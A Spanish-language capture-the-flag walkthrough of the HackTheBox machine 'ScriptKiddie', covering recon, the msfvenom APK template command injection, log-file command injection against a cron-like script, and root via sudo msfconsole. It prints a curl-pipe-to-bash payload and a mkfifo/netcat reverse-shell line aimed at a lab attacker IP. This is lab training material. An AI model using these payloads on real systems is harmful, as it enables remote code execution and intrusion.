# ScriptKiddie - HackTheBox

Máquina Linux bastante sencilla, tendremos que ganar acceso a través de un exploit que genera una apk maliciosa que podremos introducir y ejecutar en el servidor web, tendremos que realizar una escalada lateral aprovechándonos de un fallo en un srcipt a través del cual podremos inyectar comandos y finalizaremos con una escalada vertical al usuario root a través de la utilidad msfconsole.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1726584239923/dcfb0a01-ba24-4893-a923-7a4bdf3fe4ed.webp align="center")

[![HTBadge](https://www.hackthebox.eu/badge/image/533771 align="left")](https://www.hackthebox.com/home/users/profile/533771)

---

# Reconocimiento

## **Reconocimiento de Puertos🔍**

Como siempre comenzamos lanzando nmap para encontrar los puertos abiertos en la máquina.

```bash
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp
```

Realizo un escaneo más avanzado para obtener más información acerca de los servicios que corren en los puertos abiertos.

```bash
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
|   256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_  256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
5000/tcp open  http    Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

| Puerto | Servicio | Versión |
| --- | --- | --- |
| 5000 | http | Werkzeug httpd 0.16.1 |
| 22 | ssh | OpenSSH 8.2p1 |

> Servidor web en el puerto 5000 (Werkzeug httpd 0.16.1)

---

## **Enumeración Web 🔢**

Al acceder al servidor web encontramos lo siguiente:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1726584394972/c3540a9a-fc90-4f09-b254-c0c85bcb8a61.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1726584397056/774b2783-fd02-4094-88ea-abd593b58ec3.png align="center")

Parece que tenemos las herramientas nmap, msfvenom y searchsploit.

Voy probando a cada herramienta, el nmap funciona si pongo una ip, es decir me escanea los puertos...

En la herramienta msfvenom me genera un archivo malicioso y me lo descarga…

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1726584432838/8db35f06-7b74-4504-bb42-fa68c849ee88.png align="center")

Pero me deja subir un template, algo bastante curioso.

En la herramienta searchsploit más de lo mismo, funciona correctamente pero no veo nada que pueda hacer para avanzar.

Así que voy a aprovechar que tenemos searchsploit para buscar vulnerabilidades del servidor web, que sabemos que es Werkzeug httpd 0.16.1.

Con searchsploit busco alguna vulnerabilidad pero nada.

Así que solo se me ocurre buscar alguna vulnerabilidad de las herramientas que tenemos en el servidor, descartando searchsploit pruebo con msfvenom.

Y ojo porque tenemos una vulnerabilidad.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1726584485776/3e8468ea-8fc2-45b2-b276-d7c113a9425a.png align="center")

> Metasploit Framework 6.0.11 - msfvenom APK template command injection

---

# Explotación

## **Metasploit👿**

Me descargo el exploit y lo abro para analizar el código

  
Si nos fijamos en la línea de la carga util (payload) nos dice 'Change me' de forma que podemos insertar el comando que queramos, ya que la vulnerabilidad es Command Injection.

  
Procedo a crear un archivo con una reverse shell en bash.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1726584557736/c8e0dc54-d477-488d-8752-2cb0a43d1f02.png align="center")

> Una vez creado lanzo un servidor de python `python3 -m http.server 8080`
> 
> Edito el campo payload del exploit añadiendo lo siguiente  
> `curl` [`http://10.10.14.7:8080/rev.sh`](http://10.10.14.7:8080/rev.sh) `| bash`

  
A continuación lanzamos el exploit para que nos genere un archivo malicioso apk con el payload indicado.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1726584645067/c3197c4f-9c73-4e64-a468-01ca71966054.png align="center")

Una vez generado debemos subir el archivo apk a la web desde el apartado template y se hará la magia.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1726584654743/96f9a6ca-d43f-46d6-a076-11dd5f724a0f.png align="center")

Una vez dentro actualizamos la tty para tener una shell completa en tamaño y funciones.

```bash
# Actualización TTY

kid@scriptkiddie:~/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null

---------------------------------------------------

kid@scriptkiddie:~/html$ ^Z
zsh: suspended  sudo nc -lnvp 443

---------------------------------------------------

❯ stty raw -echo; fg
[1]  + continued  sudo nc -lnvp 443
                                   reset
reset: unknown terminal type unknown
Terminal type? xterm

---------------------------------------------------

# Exportamos las Variables de Entorno

kid@scriptkiddie:~/html$ export TERM=xterm
kid@scriptkiddie:~/html$ export SHELL=bash
```

Ahora ya podemos leer la flag user.

  
Continuo enumerando ya que estoy autenticado como el usuario kid pero también tenemos al usuario pwn.

  
Por lo tanto debemos migranos a este usuario.

---

# Escalada de Privilegios

## **Usuario pwn😎**

Enumerando un poco encuentro en la carpeta del usuario pwn un script llamado [`scanlosers.sh`](http://scanlosers.sh)

  
Si miramos el contenido del script…

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1726584744342/8b08cfb9-20cb-4028-9b30-8947c0b43a26.webp align="center")

Para poder entender que hace el script debemos irnos antes al archivo app.py

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1726584768788/2276e267-a84e-4b07-93eb-2a292c611226.webp align="center")

```bash
#En ese fragmento del archivo `app.py` podemos ver que se guarda un TimeStamp y una dirección IP.
-------------------------------------------------------------------------------------------------
[{datetime.datetime.now()}] {scrip}
```

Por lo tanto el script del usuario pwn (\`[scanlosers.sh](http://scanlosers.sh)\`) lo que hace es leer el archivo `/home/kid/logs/hackers` y lo guarda en la variable `$log` pero rápidamente borra el contenido, ya que en el script [`scanlosers.sh`](http://scanlosers.sh) la última línea es `echo -n > $log`

  
De forma que leyendo un poco el script sabemos que la data se almacena en el archivo de la siguiente forma:

```bash
[FECHA Y HORA] IP
```

El script saca el contenido del archivo cogiendo la IP y realizando un escaneo nmap de los 10 top ports.

  
Para probar y entenderlo genero un simple ejemplo creando mi propio archivo hackers.

`````bash
# Archivo Hackers
Hola esto es una Prueba
````

En el script se ejecuta un  `cut -d' ' -f3-` | sort -u 

Asique voy a ir desglosando el comando para lograr entenderlo, probando con mi archivo hackers.

Cut lo que hace es cortar el archivo en partes.

| Parámetro | Descripción| 
| :-------- | :------- | 
| -d ' '    | Delimitador que en este caso es el espacio ' '|        
| -f3       | Selecciona solamente el campo asigando, en este caso 3|   

De forma que si lo probamos...

```bash
> cat hackers | cut -d' ' -f3
es

#Nos está sacando el campo número 3 de la frase: Hola esto ES una prueba
`````

Pero en el script tenemos `cut -d' ' -f3-` es decir hay un guión detrás del 3.

Si probamos con nuestro ejemplo...

```bash
> cat hackers | cut -d' ' -f3-
es una prueba

# Al añadir el guión detras del campo 3 nos saca del campo 3 en adelante
```

Por lo tanto ahí podríamos aprovechar e intentar inyectar comandos de la siguiente forma.

  
Tengamos en cuenta que además de eso el archivo hackers cuando le metemos data rápidamente se elimina por el `echo -n > $log`

  
Así que voy a crear un pequeño script en bash para que cada vez que lo ejecute se meta la data que yo tengo en mi script en el archivo hackers.

```bash
# Script para la Inyección de Comandos, intentaremos obtener una rev shell 
--------------------------------------------------------------------------
#!/bin/bash

while true; do
    echo "1 2 ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 4444 >/tmp/f #" > /home/kid/logs/hackers 
done
```

El script cogerá del 3 en adelante.

  
Abrimos un oyente de netcat en elpuerto 4444, asignmos permisos y lo ejecutamos.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1726584875046/947ed942-ef7d-4c9d-bb0a-cd30afad47d2.webp align="center")

Y tenemos conexión en el oyente netcat como el usuario

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1726584893939/8b04b235-8345-4b50-a332-d50245e5e001.webp align="center")

Y ya nos hemos convertido en el usuario pwn.

  
Para tener la shell un poco más funcional lanzo el comando:

> `python3 -c ´import pty;pty.spawn("/bin/bash")´`

  
A continuación toca escalar privilegios al usuario root.

---

## Usuario root**😎**

Para proceder a escalar privilegios, como siempre enumeramos posibles vectores de escalada.

  
Como de costumbre comienzo lanzando `sudo -l`

  
Al lanzar `sudo -l` puedo ver que puedo ejecutar como root sin contraseña msfconsole.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1726584959389/281db3b9-f1ee-400e-9fdb-07c8c3c0bf93.webp align="center")

Ejecuto la utilidad msfconsole como root.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1726584986406/cad0db27-7b44-49a9-9ad1-0e498e0120ab.webp align="center")

Somos root y podemos leer la flag root.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1726585006382/357f42df-74be-4f4a-a734-3fef48bd2206.webp align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1726585010742/915f17a3-1e14-44bd-9a25-ba7f70fee421.webp align="center")
